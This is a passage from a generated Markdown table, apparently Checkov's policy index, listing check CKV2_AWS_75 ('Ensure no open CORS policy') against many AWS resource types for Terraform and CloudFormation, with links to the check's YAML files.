aws_docdb_event_subscription                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3347 | CKV2_AWS_75              | resource                         | aws_docdb_global_cluster                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3348 | CKV2_AWS_75              | resource                         | aws_docdb_global_cluster                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3349 | CKV2_AWS_75              | resource                         | aws_docdb_subnet_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3350 | CKV2_AWS_75              | resource                         | aws_docdb_subnet_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3351 | CKV2_AWS_75              | resource                         | aws_docdbelastic_cluster                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3352 | CKV2_AWS_75              | resource                         | aws_docdbelastic_cluster                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3353 | CKV2_AWS_75              | resource                         | aws_drs_replication_configuration_template                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3354 | CKV2_AWS_75              | resource                         | aws_drs_replication_configuration_template                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3355 | CKV2_AWS_75              | resource                         | aws_dx_bgp_peer                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3356 | CKV2_AWS_75              | resource                         | aws_dx_bgp_peer                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3357 | CKV2_AWS_75              | resource                         | aws_dx_connection                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3358 | CKV2_AWS_75              | resource                         | aws_dx_connection                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3359 | CKV2_AWS_75              | resource                         | aws_dx_connection_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3360 | CKV2_AWS_75              | resource                         | aws_dx_connection_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3361 | CKV2_AWS_75              | resource                         | aws_dx_connection_confirmation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3362 | CKV2_AWS_75              | resource                         | aws_dx_connection_confirmation                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3363 | CKV2_AWS_75              | resource                         | aws_dx_gateway                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3364 | CKV2_AWS_75              | resource                         | aws_dx_gateway                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3365 | CKV2_AWS_75              | resource                         | aws_dx_gateway_association                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3366 | CKV2_AWS_75              | resource                         | aws_dx_gateway_association                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3367 | CKV2_AWS_75              | resource                         | aws_dx_gateway_association_proposal                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3368 | CKV2_AWS_75              | resource                         | aws_dx_gateway_association_proposal                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3369 | CKV2_AWS_75              | resource                         | aws_dx_hosted_connection                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3370 | CKV2_AWS_75              | resource                         | aws_dx_hosted_connection                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3371 | CKV2_AWS_75              | resource                         | aws_dx_hosted_private_virtual_interface                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3372 | CKV2_AWS_75              | resource                         | aws_dx_hosted_private_virtual_interface                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3373 | CKV2_AWS_75              | resource                         | aws_dx_hosted_private_virtual_interface_accepter                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3374 | CKV2_AWS_75              | resource                         | aws_dx_hosted_private_virtual_interface_accepter                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3375 | CKV2_AWS_75              | resource                         | aws_dx_hosted_public_virtual_interface                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3376 | CKV2_AWS_75              | resource                         | aws_dx_hosted_public_virtual_interface                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3377 | CKV2_AWS_75              | resource                         | aws_dx_hosted_public_virtual_interface_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3378 | CKV2_AWS_75              | resource                         | aws_dx_hosted_public_virtual_interface_accepter                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3379 | CKV2_AWS_75              | resource                         | aws_dx_hosted_transit_virtual_interface                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3380 | CKV2_AWS_75              | resource                         | aws_dx_hosted_transit_virtual_interface                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3381 | CKV2_AWS_75              | resource                         | aws_dx_hosted_transit_virtual_interface_accepter                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3382 | CKV2_AWS_75              | resource                         | aws_dx_hosted_transit_virtual_interface_accepter                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3383 | CKV2_AWS_75              | resource                         | aws_dx_lag                                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3384 | CKV2_AWS_75              | resource                         | aws_dx_lag                                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3385 | CKV2_AWS_75              | resource                         | aws_dx_macsec_key_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3386 | CKV2_AWS_75              | resource                         | aws_dx_macsec_key_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3387 | CKV2_AWS_75              | resource                         | aws_dx_private_virtual_interface                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3388 | CKV2_AWS_75              | resource                         | aws_dx_private_virtual_interface                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3389 | CKV2_AWS_75              | resource                         | aws_dx_public_virtual_interface                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3390 | CKV2_AWS_75              | resource                         | aws_dx_public_virtual_interface                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3391 | CKV2_AWS_75              | resource                         | aws_dx_transit_virtual_interface                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3392 | CKV2_AWS_75              | resource                         | aws_dx_transit_virtual_interface                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3393 | CKV2_AWS_75              | resource                         | aws_dynamodb_contributor_insights                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3394 | CKV2_AWS_75              | resource                         | aws_dynamodb_contributor_insights                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3395 | CKV2_AWS_75              | resource                         | aws_dynamodb_global_table                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3396 | CKV2_AWS_75              | resource                         | aws_dynamodb_global_table                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3397 | CKV2_AWS_75              | resource                         | aws_dynamodb_kinesis_streaming_destination                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3398 | CKV2_AWS_75              | resource                         | aws_dynamodb_kinesis_streaming_destination                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3399 | CKV2_AWS_75              | resource                         | aws_dynamodb_resource_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3400 | CKV2_AWS_75              | resource                         | aws_dynamodb_resource_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3401 | CKV2_AWS_75              | resource                         | aws_dynamodb_table                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3402 | CKV2_AWS_75              | resource                         | aws_dynamodb_table                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3403 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_export                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3404 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_export                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3405 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_item                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3406 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_item                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3407 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_replica                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3408 | CKV2_AWS_75              | resource                         | aws_dynamodb_table_replica                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3409 | CKV2_AWS_75              | resource                         | aws_dynamodb_tag                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3410 | CKV2_AWS_75              | resource                         | aws_dynamodb_tag                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3411 | CKV2_AWS_75              | resource                         | aws_ebs_default_kms_key                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3412 | CKV2_AWS_75              | resource                         | aws_ebs_default_kms_key                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3413 | CKV2_AWS_75              | resource                         | aws_ebs_encryption_by_default                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3414 | CKV2_AWS_75              | resource                         | aws_ebs_encryption_by_default                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3415 | CKV2_AWS_75              | resource                         | aws_ebs_fast_snapshot_restore                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3416 | CKV2_AWS_75              | resource                         | aws_ebs_fast_snapshot_restore                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3417 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3418 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3419 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_block_public_access                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3420 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_block_public_access                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3421 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_copy                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3422 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_copy                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3423 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_import                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3424 | CKV2_AWS_75              | resource                         | aws_ebs_snapshot_import                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3425 | CKV2_AWS_75              | resource                         | aws_ebs_volume                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3426 | CKV2_AWS_75              | resource                         | aws_ebs_volume                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3427 | CKV2_AWS_75              | resource                         | aws_ec2_availability_zone_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3428 | CKV2_AWS_75              | resource                         | aws_ec2_availability_zone_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3429 | CKV2_AWS_75              | resource                         | aws_ec2_capacity_block_reservation                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3430 | CKV2_AWS_75              | resource                         | aws_ec2_capacity_block_reservation                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3431 | CKV2_AWS_75              | resource                         | aws_ec2_capacity_reservation                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3432 | CKV2_AWS_75              | resource                         | aws_ec2_capacity_reservation                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3433 | CKV2_AWS_75              | resource                         | aws_ec2_carrier_gateway                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3434 | CKV2_AWS_75              | resource                         | aws_ec2_carrier_gateway                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3435 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_authorization_rule                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3436 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_authorization_rule                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3437 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3438 | CKV2_AWS_75              | resource                         | aws_ec2_client_vpn_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 